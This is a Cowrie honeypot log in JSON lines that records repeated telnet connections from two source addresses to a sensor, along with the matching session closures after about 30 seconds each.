{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54522,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bde8f289a17","protocol":"telnet","message":"New connection: 208.115.200.90:54522 (10.17.0.5:23) [session: 0bde8f289a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.630594Z"}
{"eventid":"cowrie.session.closed","duration":31.53823184967041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.685441Z","src_ip":"208.115.200.90","session":"55ffb6ac304b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60402,"dst_ip":"10.17.0.5","dst_port":23,"session":"200b4115d30e","protocol":"telnet","message":"New connection: 208.115.219.122:60402 (10.17.0.5:23) [session: 200b4115d30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.769437Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54794,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b3ede85fc2c","protocol":"telnet","message":"New connection: 208.115.200.90:54794 (10.17.0.5:23) [session: 5b3ede85fc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.942263Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60410,"dst_ip":"10.17.0.5","dst_port":23,"session":"608933656e1c","protocol":"telnet","message":"New connection: 208.115.219.122:60410 (10.17.0.5:23) [session: 608933656e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.048058Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54808,"dst_ip":"10.17.0.5","dst_port":23,"session":"09cc2961d95c","protocol":"telnet","message":"New connection: 208.115.200.90:54808 (10.17.0.5:23) [session: 09cc2961d95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.092841Z"}
{"eventid":"cowrie.session.closed","duration":30.48841142654419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.105417Z","src_ip":"208.115.219.122","session":"505462e52594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54842,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0026f486e1","protocol":"telnet","message":"New connection: 208.115.200.90:54842 (10.17.0.5:23) [session: cf0026f486e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.218860Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54836,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c48d31843c","protocol":"telnet","message":"New connection: 208.115.200.90:54836 (10.17.0.5:23) [session: 05c48d31843c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.224970Z"}
{"eventid":"cowrie.session.closed","duration":30.932719945907593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.312796Z","src_ip":"208.115.200.90","session":"caec74a57c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54358,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d2d75ce865","protocol":"telnet","message":"New connection: 208.115.200.90:54358 (10.17.0.5:23) [session: 05d2d75ce865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.323075Z"}
{"eventid":"cowrie.session.closed","duration":30.917522192001343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.330771Z","src_ip":"208.115.200.90","session":"9021928c9993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006423711776733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.334524Z","src_ip":"208.115.200.90","session":"f4375e6ee6dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230649948120117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.346889Z","src_ip":"208.115.200.90","session":"0de9b6f98ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139556646347046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.358414Z","src_ip":"208.115.200.90","session":"411c02c633e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54882,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b92c7aab19","protocol":"telnet","message":"New connection: 208.115.200.90:54882 (10.17.0.5:23) [session: 26b92c7aab19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.373054Z"}
{"eventid":"cowrie.session.closed","duration":30.50828218460083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.442994Z","src_ip":"208.115.200.90","session":"f08dd8e6a455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bbbb5e17a52","protocol":"telnet","message":"New connection: 208.115.200.90:54950 (10.17.0.5:23) [session: 0bbbb5e17a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.515868Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60446,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00738104b82","protocol":"telnet","message":"New connection: 208.115.219.122:60446 (10.17.0.5:23) [session: b00738104b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.741683Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d9d5672f41","protocol":"telnet","message":"New connection: 208.115.219.122:60390 (10.17.0.5:23) [session: a7d9d5672f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.773631Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54630,"dst_ip":"10.17.0.5","dst_port":23,"session":"3193bcdf921e","protocol":"telnet","message":"New connection: 208.115.200.90:54630 (10.17.0.5:23) [session: 3193bcdf921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.778459Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54658,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d7e242b9e2","protocol":"telnet","message":"New connection: 208.115.200.90:54658 (10.17.0.5:23) [session: c6d7e242b9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:33.834344Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a09686930b6","protocol":"telnet","message":"New connection: 208.115.200.90:55066 (10.17.0.5:23) [session: 6a09686930b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.019465Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55078,"dst_ip":"10.17.0.5","dst_port":23,"session":"e635d41a6ca4","protocol":"telnet","message":"New connection: 208.115.200.90:55078 (10.17.0.5:23) [session: e635d41a6ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.024418Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89e99d8f3ae","protocol":"telnet","message":"New connection: 208.115.200.90:55090 (10.17.0.5:23) [session: a89e99d8f3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.059392Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53500,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23980fa6f40","protocol":"telnet","message":"New connection: 208.115.200.90:53500 (10.17.0.5:23) [session: c23980fa6f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.086875Z"}
{"eventid":"cowrie.session.closed","duration":30.36410427093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.148036Z","src_ip":"208.115.219.122","session":"9313714a5715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60550,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9dc2fcd5ef","protocol":"telnet","message":"New connection: 208.115.219.122:60550 (10.17.0.5:23) [session: 3d9dc2fcd5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.179105Z"}
{"eventid":"cowrie.session.closed","duration":31.127723693847656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.202750Z","src_ip":"208.115.219.122","session":"fa7d7ca6a527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"781e6a2cc261","protocol":"telnet","message":"New connection: 208.115.200.90:55142 (10.17.0.5:23) [session: 781e6a2cc261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.223309Z"}
{"eventid":"cowrie.session.closed","duration":30.543907642364502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.230313Z","src_ip":"208.115.200.90","session":"34dd8e0ac19d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992268562316895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.260908Z","src_ip":"208.115.200.90","session":"38c80c1d89d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55166,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0d34bf1e88","protocol":"telnet","message":"New connection: 208.115.200.90:55166 (10.17.0.5:23) [session: cf0d34bf1e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.268202Z"}
{"eventid":"cowrie.session.closed","duration":30.67850351333618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.301779Z","src_ip":"208.115.200.90","session":"b03111a471b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38154,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df2f0bb9c2d","protocol":"telnet","message":"New connection: 208.115.200.90:38154 (10.17.0.5:23) [session: 6df2f0bb9c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.324397Z"}
{"eventid":"cowrie.session.closed","duration":31.242841958999634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.432343Z","src_ip":"208.115.200.90","session":"01df54061991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931533098220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.441325Z","src_ip":"208.115.200.90","session":"77ce3bd1df4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60626,"dst_ip":"10.17.0.5","dst_port":23,"session":"aacc70a6211a","protocol":"telnet","message":"New connection: 208.115.219.122:60626 (10.17.0.5:23) [session: aacc70a6211a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.489790Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38394,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c3e0eacb70f","protocol":"telnet","message":"New connection: 208.115.200.90:38394 (10.17.0.5:23) [session: 5c3e0eacb70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.496081Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10ed7fa141b","protocol":"telnet","message":"New connection: 208.115.200.90:38414 (10.17.0.5:23) [session: e10ed7fa141b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.499649Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53758,"dst_ip":"10.17.0.5","dst_port":23,"session":"5337f0a143ea","protocol":"telnet","message":"New connection: 208.115.200.90:53758 (10.17.0.5:23) [session: 5337f0a143ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.534875Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"06b2a98a4f85","protocol":"telnet","message":"New connection: 208.115.200.90:38538 (10.17.0.5:23) [session: 06b2a98a4f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.739634Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38564,"dst_ip":"10.17.0.5","dst_port":23,"session":"3531ee4c97c4","protocol":"telnet","message":"New connection: 208.115.200.90:38564 (10.17.0.5:23) [session: 3531ee4c97c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.831851Z"}
{"eventid":"cowrie.session.closed","duration":31.346635818481445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.839107Z","src_ip":"208.115.200.90","session":"73787c865270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38588,"dst_ip":"10.17.0.5","dst_port":23,"session":"55abf4c61b74","protocol":"telnet","message":"New connection: 208.115.200.90:38588 (10.17.0.5:23) [session: 55abf4c61b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:34.944978Z"}
{"eventid":"cowrie.session.closed","duration":30.704343795776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.015292Z","src_ip":"208.115.200.90","session":"1717a371f77f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.337573289871216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.033069Z","src_ip":"208.115.219.122","session":"731d88ad8a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55034,"dst_ip":"10.17.0.5","dst_port":23,"session":"88fefb38f072","protocol":"telnet","message":"New connection: 208.115.200.90:55034 (10.17.0.5:23) [session: 88fefb38f072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.051132Z"}
{"eventid":"cowrie.session.closed","duration":30.603252172470093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.079548Z","src_ip":"208.115.219.122","session":"fdc479ae8e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09400510787964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.104671Z","src_ip":"208.115.219.122","session":"799feed01172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6717746257782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.196646Z","src_ip":"208.115.200.90","session":"3bbf224d1667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38676,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c24455295e","protocol":"telnet","message":"New connection: 208.115.200.90:38676 (10.17.0.5:23) [session: 90c24455295e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.202273Z"}
{"eventid":"cowrie.session.closed","duration":31.205705642700195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.206186Z","src_ip":"208.115.200.90","session":"8a0817873d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16c32f9cd56","protocol":"telnet","message":"New connection: 208.115.200.90:38680 (10.17.0.5:23) [session: a16c32f9cd56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.241714Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54264,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7cbf430fad","protocol":"telnet","message":"New connection: 208.115.200.90:54264 (10.17.0.5:23) [session: 2b7cbf430fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.304601Z"}
{"eventid":"cowrie.session.closed","duration":31.077694177627563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.310085Z","src_ip":"208.115.200.90","session":"ff083e1f6545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113366842269897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.335364Z","src_ip":"208.115.200.90","session":"fcd283bbb4c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c1ba577355","protocol":"telnet","message":"New connection: 208.115.200.90:38734 (10.17.0.5:23) [session: a3c1ba577355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.354367Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38802,"dst_ip":"10.17.0.5","dst_port":23,"session":"3808dd845561","protocol":"telnet","message":"New connection: 208.115.200.90:38802 (10.17.0.5:23) [session: 3808dd845561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.447228Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc79c88a8237","protocol":"telnet","message":"New connection: 208.115.219.122:57384 (10.17.0.5:23) [session: dc79c88a8237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.574083Z"}
{"eventid":"cowrie.session.closed","duration":31.017592668533325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:35.904500Z","src_ip":"208.115.219.122","session":"003fa93bb488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516632556915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.024777Z","src_ip":"208.115.219.122","session":"a4ab43fec74a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778010606765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.083559Z","src_ip":"208.115.219.122","session":"a6c0f15c2746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71238613128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.111922Z","src_ip":"208.115.219.122","session":"8fb7fad33863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068470001220703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.142315Z","src_ip":"208.115.219.122","session":"295a8239b8e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39272,"dst_ip":"10.17.0.5","dst_port":23,"session":"afcfc7922ef9","protocol":"telnet","message":"New connection: 208.115.200.90:39272 (10.17.0.5:23) [session: afcfc7922ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.202923Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ef5fa4af0a","protocol":"telnet","message":"New connection: 208.115.200.90:38660 (10.17.0.5:23) [session: c0ef5fa4af0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.209537Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39312,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b665dd3bf08","protocol":"telnet","message":"New connection: 208.115.200.90:39312 (10.17.0.5:23) [session: 5b665dd3bf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.289868Z"}
{"eventid":"cowrie.session.closed","duration":31.154539108276367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.323094Z","src_ip":"208.115.200.90","session":"b6a7456aa226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39332,"dst_ip":"10.17.0.5","dst_port":23,"session":"d912a202b3cd","protocol":"telnet","message":"New connection: 208.115.200.90:39332 (10.17.0.5:23) [session: d912a202b3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.330921Z"}
{"eventid":"cowrie.session.closed","duration":31.05432415008545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.373928Z","src_ip":"208.115.200.90","session":"99c0ac46fecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd91b0672939","protocol":"telnet","message":"New connection: 208.115.200.90:39394 (10.17.0.5:23) [session: fd91b0672939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.425102Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39496,"dst_ip":"10.17.0.5","dst_port":23,"session":"611faad806e7","protocol":"telnet","message":"New connection: 208.115.200.90:39496 (10.17.0.5:23) [session: 611faad806e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.498212Z"}
{"eventid":"cowrie.session.closed","duration":31.289288997650146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.580421Z","src_ip":"208.115.200.90","session":"26b6b017db5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39620,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0966a7c1a7","protocol":"telnet","message":"New connection: 208.115.200.90:39620 (10.17.0.5:23) [session: 3e0966a7c1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.662301Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60466,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf57a012de1","protocol":"telnet","message":"New connection: 208.115.219.122:60466 (10.17.0.5:23) [session: 8cf57a012de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.971174Z"}
{"eventid":"cowrie.session.closed","duration":31.61517310142517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:36.977291Z","src_ip":"208.115.219.122","session":"7f704187416e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62961745262146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.012446Z","src_ip":"208.115.219.122","session":"e15dc7ae6835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386820316314697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.020568Z","src_ip":"208.115.200.90","session":"25bb1b1317f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97075629234314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.040785Z","src_ip":"208.115.219.122","session":"cf6e52e0502f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822367429733276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.048668Z","src_ip":"208.115.219.122","session":"5df8c4ae9760","protocol":"telnet"}
